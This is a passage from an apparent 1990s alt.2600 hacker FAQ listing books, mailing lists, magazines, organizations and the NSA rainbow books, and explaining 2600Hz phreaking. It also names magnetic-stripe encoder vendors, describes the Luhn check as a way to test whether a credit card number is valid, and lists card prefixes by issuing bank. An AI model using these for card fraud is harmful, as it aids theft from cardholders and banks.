Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

    Finally someone with a very firm grasp of Unix system security
    gets down to writing a book on the subject.  Buy this book.
    Read this book.

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2


Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

    Not a total waste of paper, but definitely not worth the
    $49.95 purchase price.  The book is a rehash of previously
    published information.  The only secret we learn from reading
    the book is that Sylvia Moon is a younger woman madly in love
    with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4


Cryptography
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

    Bruce Schneier's book replaces all other texts on
    cryptography.  If you are interested in cryptography, this is
    a must read.  This may be the first and last book on
    cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4


Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

    The original, and still the best, book on computer viruses.
    No media hype here, just good clean technical information.

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
    Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN:


Telephony
~~~~~~~~~
Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5

        Although hopelessly out of date, this book remains *THE* book
        on telephony.  This book is 100% Bell, and is loved by phreaks
        the world over.

Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8

        I find this dictionary to be an excellent reference book on
        telephony, and I recommend it to anyone with serious
        intentions in the field.


Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

    Bruce Sterling has recently released the book FREE to the net.
    The book is much easier to read in print form, and the
    paperback is only $5.99.  Either way you read it, you will be
    glad you did.  Mr. Sterling is an excellent science fiction
    author and has brought his talent with words to bear on the
    hacking culture.  A very enjoyable reading experience.

Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6


Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

    The Knightmare is no super hacker.  There is little or no real
    information in this book.  The Knightmare gives useful advice
    like telling you not to dress up before going trashing.
    The Knightmare's best hack is fooling Loompanics into
    publishing this garbage.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

    Total garbage.  Paranoid delusions of a lunatic.  Less factual
    data that an average issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8


09. What are some mailing lists of interest to hackers?

Academic Firewalls
Reflector Address:
Registration Address: Send a message to [e-mail]
                      containing the line "subscribe firewalls user@host"

Bugtraq
Reflector Address:    [e-mail]
Registration Address: [e-mail]

Cert Tools
Reflector Address:    [e-mail]
Registration Address: [e-mail]

Computers and Society
Reflector Address:    [e-mail]
Registration Address: [e-mail]

Coordinated Feasibility Effort to Unravel State Data
Reflector Address:    [e-mail]
Registration Address:

CPSR Announcement List
Reflector Address:    [e-mail]
Registration Address:

CPSR - Intellectual Property
Reflector Address:    [e-mail]
Registration Address:

CPSR - Internet Library
Reflector Address:    [e-mail]
Registration Address:

DefCon Announcement List
Reflector Address:
Registration Address: Send a message to [e-mail] containing
                      the line "subscribe dc-announce"

DefCon Chat List
Reflector Address:
Registration Address: Send a message to [e-mail] containing
                      the line "subscribe dc-stuff"

Macintosh Security
Reflector Address:    [e-mail]
Registration Address: [e-mail]

NeXT Managers
Reflector Address:
Registration Address: [e-mail]

Phiber-Seream
Reflector Address:
Registration Address: Send a message to [e-mail]
                      containing the line "subscribe phiber-scream user@host"

rfc931-users
Reflector Address:    [e-mail]
Registration Address: [e-mail]

RSA Users
Reflector Address:    [e-mail]
Registration Address: [e-mail]


10. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail address: [e-mail]

Subscription Address: 2600 Subscription Dept
                      PO Box 752
                      Middle Island, NY  11953-0752

Letters and article submission address: 2600 Editorial Dept
                                        PO Box 99
                                        Middle Island, NY  11953-0099

Subscriptions: United States: $21/yr individual, $50 corporate.
               Overseas: $30/yr individual, $65 corporate.


Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/oe controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address: [e-mail]
E-Mail Address: [e-mail]

U.S. Mail Address: Gray Areas
                   PO Box 808
                   Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
               $34.00 4 issues foreign (shipped air mail)


Wired
~~~~~
Subscription Address: [e-mail]
                  or: Wired
                      PO Box 191826
                      San Francisco, CA 94119-9866

Letters and article submission address: [e-mail]
                                    or: Wired
                                        544 Second Street
                                        San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)


Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
[phone] (Voice) (Subscription Only Order Line)
[phone] (Voice)
[phone] (Fax)
CIS: 74262,3664


11. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate
for the responsible use of information technology and empowers all who
use computer technology to participate in the public debate.   As
technical experts, CPSR members provide the public and policymakers
with realistic assessments of the power, promise, and limitations of
computer technology.  As an organization of concerned citizens, CPSR
directs public attention to critical choices concerning the
applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy
development savvy, CPSR uses minimum dollars to have maximum impact
and encourages broad public participation in the shaping of technology
policy.

Every project we undertake is based on five principles:

*  We foster and support public discussion of and public
   responsibility for decisions involving the use of computers in
   systems critical to society.

*  We work to dispel popular myths about the infallibility of
   technological systems.

*  We challenge the assumption that technology alone can solve
   political and social problems.

*  We critically examine social and technical issues within the
   computer profession, nationally and internationally.

*  We encourage the use of computer technology to improve the quality
   of life.

CPSR Membership Categories
  75  REGULAR MEMBER
  50  Basic member
 200  Supporting member
 500  Sponsoring member
1000  Lifetime member
  20  Student/low income member
  50  Foreign subscriber
  50  Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA  94301
415-322-3778
415-322-3798 (FAX)
E-mail: [e-mail]


Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
666 Pennsylvania Avenue S.E., Suite 303
Washington, D.C.  20003
[phone]
[phone] FAX
Internet: [e-mail]


Free Software Foundation (FSF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


GNU
~~~


The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits.  Some of us are programmers, who worry
that such monopolies will obstruct our work.  Some of us are users,
who want new computer systems to be compatible with the interfaces we
know.  Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before.  Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing
user-interface copyright.  The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others.  We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone [phone], send Internet mail to the
address [e-mail], or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA


SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society.  By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS  39560


Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.

CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars.  In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server:  cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.

CERT contact information:

U.S. mail address
  CERT Coordination Center
  Software Engineering Institute
  Carnegie Mellon University
  Pittsburgh, PA 15213-3890
  U.S.A.

Internet E-mail address
  [e-mail]

Telephone number
  [phone] (24-hour hotline)
    CERT Coordination Center personnel answer
    7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
    emergencies during other hours.

FAX number
  [phone]


12. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA  01460
[phone] (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL  60173
[phone] (Voice)
[phone] (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
[phone] (Voice)
[phone] (Voice)
[phone] (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
[phone] (Voice)
[phone] (Voice)


13. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements.  Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems

Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems

Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024  (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators

Purple Book
NCSC-TG-024  (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024  (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems

Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing
or calling:

       INFOSEC Awareness Division
       ATTN: X711/IAOC
       Fort George G. Meade, MD  20755-6000

       Barbara Keller
       [phone]

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[     be available]




Section D: 2600
~~~~~~~~~~~~~~~

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly.   It is NOT for the Atari 2600
game machine.  [e-mail] created the group on Emmanuel
Goldstein's recommendation.  Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600.  Atari 2600 people are advised to hie over to
rec.games.video.classic.


02. What does "2600" mean?

    2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently.  If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone.  The 2600 hertz tone was simply the first
step towards exploring the network.  If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure.  800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers.  This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute.  Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."


03. Are there on-line versions of 2600 available?

    No.


04. I can't find 2600 at any bookstores.  What can I do?

Subscribe.  Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore.  Be sure to include the
bookstores name and address.


05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

  We've been selling 2600 at the same newsstand price ($4) since 1988
  and we hope to keep it at that price for as long as we can get away
  with it. At the same time, $21 is about the right price to cover
  subscriber costs, including postage and record keeping, etc. People
  who subscribe don't have to worry about finding an issue someplace,
  they tend to get issues several weeks before the newsstands get
  them, and they can take out free ads in the 2600 Marketplace.

  This is not uncommon in the publishing industry.  The NY Times, for
  example, costs $156.50 at the newsstands, and $234.75 delivered to your
  door.




Section E: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~

01. What does XXX stand for?

TLA     Three Letter Acronym

ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base

ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BOC     Bell Operating Company
BOR     Basic Output Report
BOSS    Business Office Servicing System
CA      Cable
COE     Central Office Equipment
COSMOS  Computer System for Main Frame Operations
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool

LOD     Legion of Doom
HFC     Hell Fire Club
TNO     The New Order

ACiD    Ansi Creators in Demand
CCi     Cybercrime International
FLT     Fairlight
iCE     Insane Creators Enterprise
iNC     International Network of Crackers
NTA     The Nocturnal Trading Alliance
PDX     Paradox
PE      Public Enemy
PSY     Psychose
QTX     Quartex
RZR     Razor (1911)
S!P     Supr!se Productions
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
TRSI    Tristar Red Sector Inc.


02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm.  The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.

For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9.  Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card.  If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.


03. What bank issued this credit card?

1033    Manufacturers Hanover Trust
1035    Citibank
1263    Chemical Bank
1665    Chase Manhattan
4024    Bank of America
4128    Citicorp
4209    New Era Bank
4302    HHBC
4310    Imperial Savings
4313    MBNA
4317    California Federal
5282    Wells Fargo
5424    Citibank
5410    Wells Fargo
5432    Bank of New York
6017    MBNA


04. What are the ethics of hacking?

The FAQ answer is excerpted from: Hackers: Heroes of the Computer Revolution
                                  by Steven Levy

Access to computers -- and anything which might teach you something
about the way the world works -- should be unlimited and total.
Always yield to the Hands-On imperative.

All information should be free.

Mistrust Authority.  Promote Decentralization.

Hackers should be judged by their hacking, not bogus criteria such as
degrees, age, race, or position.

You can create art and beauty on a computer.

Computers can change your life for the better.


04. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at:
rahul.net /pub/lps
rtfm.mit.edu /pub/usenet-by-group/alt.2600

Get it on the World Wide Web at:
http://dfw.net/~aleph1
http://www.engin.umich.edu/~jgotts/hack-faq.html
http://www.phantom.com/~king

Get it by E-Mail at:
[e-mail]  (Subject: send faq)




EOT